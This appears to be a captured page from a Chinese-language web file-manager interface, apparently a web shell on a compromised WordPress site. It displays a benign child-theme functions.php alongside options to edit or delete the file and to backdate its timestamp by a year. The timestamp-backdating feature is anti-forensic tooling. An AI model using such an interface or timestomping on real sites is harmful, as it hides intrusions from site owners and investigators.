文件操作 - functions.php
返回文件管理
返回主菜单
删除本文件
文件: /storage/v12552/i2kairpad/public_html/wp-content/themes/hello-elementor-child/functions.php
编辑文件内容
<?php /* This file is part of a child theme called hello-elementor-child. Functions in this file will be loaded before the parent theme's functions. For more information, please read https://developer.wordpress.org/themes/advanced-topics/child-themes/ */ // this code loads the parent's stylesheet (leave it in place unless you know what you're doing) function your_theme_enqueue_styles() { $parent_style = 'parent-style'; wp_enqueue_style( $parent_style, get_template_directory_uri() . '/style.css'); wp_enqueue_style( 'child-style', get_stylesheet_directory_uri() . '/style.css', array($parent_style), wp_get_theme()->get('Version') ); } add_action('wp_enqueue_scripts', 'your_theme_enqueue_styles'); /** * Enables the HTTP Strict Transport Security (HSTS) header in WordPress. */ add_action( 'send_headers', 'enable_strict_transport_security_hsts_header_wordpress' ); function enable_strict_transport_security_hsts_header_wordpress() { header( 'Strict-Transport-Security: max-age=31536000; includeSubDomains; preload' ); } /** * Modify Post pages title */ /*add_action('init', 'remove_hooks'); function remove_hooks(){ if(is_singular('post')){ remove_action('wp_head', '_wp_render_title_tag', 1); } }*/ /*add_action( 'wp_head', 'post_render_title_tag', 1); function post_render_title_tag(){ if (is_singular('post')) { echo "<title> i2k AirPad: " . get_the_title() . "</title>"; } }*/ add_action('wp_head', 'custom_javascript', 10); function custom_javascript(){ ?> <script type="text/javascript"> jQuery(document).ready(function(){ if(jQuery(".premium-image-hotspots-main-icons").length > 0){ jQuery(".premium-image-hotspots-main-icons").attr('role', 'button'); jQuery(".premium-image-hotspots-main-icons").attr('aria-label', 'tooltip'); jQuery(".premium-image-hotspots-main-icons").attr('tabindex', '0'); } if(jQuery("span.sub-arrow i.fa-caret-down").length > 0){ jQuery("span.sub-arrow i.fa-caret-down").attr('role', 'none'); } }); </script> <?php } add_filter( 'nav_menu_link_attributes', function ( $atts, $item, $args ) { if ( 1765 === $item->ID ) { $atts['role'] = 'button'; } return $atts; }, 10, 3 ); /* Programtically add Async to styles and scripts */ add_filter('style_loader_tag', 'add_async_attribute', 10, 2); function add_async_attribute($html, $handle) { $styles_to_async = array('google-fonts-1'); if (!in_array($handle, $styles_to_async)) { return $html; } else { return str_replace('href', ' async="async" href', $html); } return $html; }
修改文件时间
将文件时间修改为当前时间的前一年
删除文件